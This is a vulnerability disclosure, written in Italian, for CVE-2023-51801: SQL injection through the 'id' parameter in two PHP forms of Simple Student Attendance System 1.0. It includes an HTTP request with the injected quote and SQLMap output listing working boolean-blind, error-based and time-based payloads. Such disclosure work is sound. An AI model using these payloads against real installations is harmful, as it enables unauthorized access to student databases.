CVE-2023-51801

Simple Student Attendance System v.1.0 - Multiple vulnerabilità di SQL injection - student_form.php e class_form.php

Descrizione:Simple Student Attendance System v.1.0 è soggetto a multiple vulnerabilità di SQL injection che possono essere sfruttate da attaccanti autenticati. Queste vulnerabilità sono presenti in student_form.php e class_form.php e consentono l'esecuzione di comandi SQL arbitrari tramite il parametro 'id'.

Versione del prodotto vulnerabile: Simple Student Attendance System v.1.0
Autore CVE: Geraldo Alcântara
Data: 29/11/2023
Confermato il: 10/01/2024
CVE: CVE-2023-51801
Link CVE: https://www.cve.org/CVERecord?id=CVE-2023-51801
Link NVD: https://nvd.nist.gov/vuln/detail/CVE-2023-51801
Link Tenable: https://www.tenable.com/cve/CVE-2023-51801
Testato su: Windows

Passaggi per riprodurre:

Per sfruttare questa vulnerabilità, un attaccante deve navigare verso le pagine 'Student' o 'Classes', dove può procedere a modificare o aggiungere uno studente o una classe. Il payload dannoso deve quindi essere inserito nel parametro 'id'.
Componente interessato:

Componenti: student_form.php e class_form.php
Parametro: id

Richiesta:

POST /php-attendance/modals/class_form.php HTTP/1.1
Host: 192.168.68.182
Cookie: PHPSESSID=emhqgom5shgrtcii7p3a8ad1bo
Content-Length: 4
Sec-Ch-Ua: "Not_A Brand";v="8", "Chromium";v="120"
Accept: */*
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.71 Safari/537.36
Sec-Ch-Ua-Platform: "Windows"
Origin: https://192.168.68.182
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://192.168.68.182/php-attendance/?page=class_list
Accept-Encoding: gzip, deflate, br
Accept-Language: pt-BR,pt;q=0.9,en-US;q=0.8,en;q=0.7
Priority: u=1, i
Connection: close

id=1'

SQLMap

Parameter: id (POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1''' AND 4206=4206-- KDFY

    Type: error-based
    Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: id=1''' OR (SELECT 1707 FROM(SELECT COUNT(*),CONCAT(0x716a6a7071,(SELECT (ELT(1707=1707,1))),0x717a6a7171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- xsae

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=1''' AND (SELECT 1288 FROM (SELECT(SLEEP(5)))SVhp)-- EYkh

Scopritore(i)/Crediti:
Geraldo Alcântara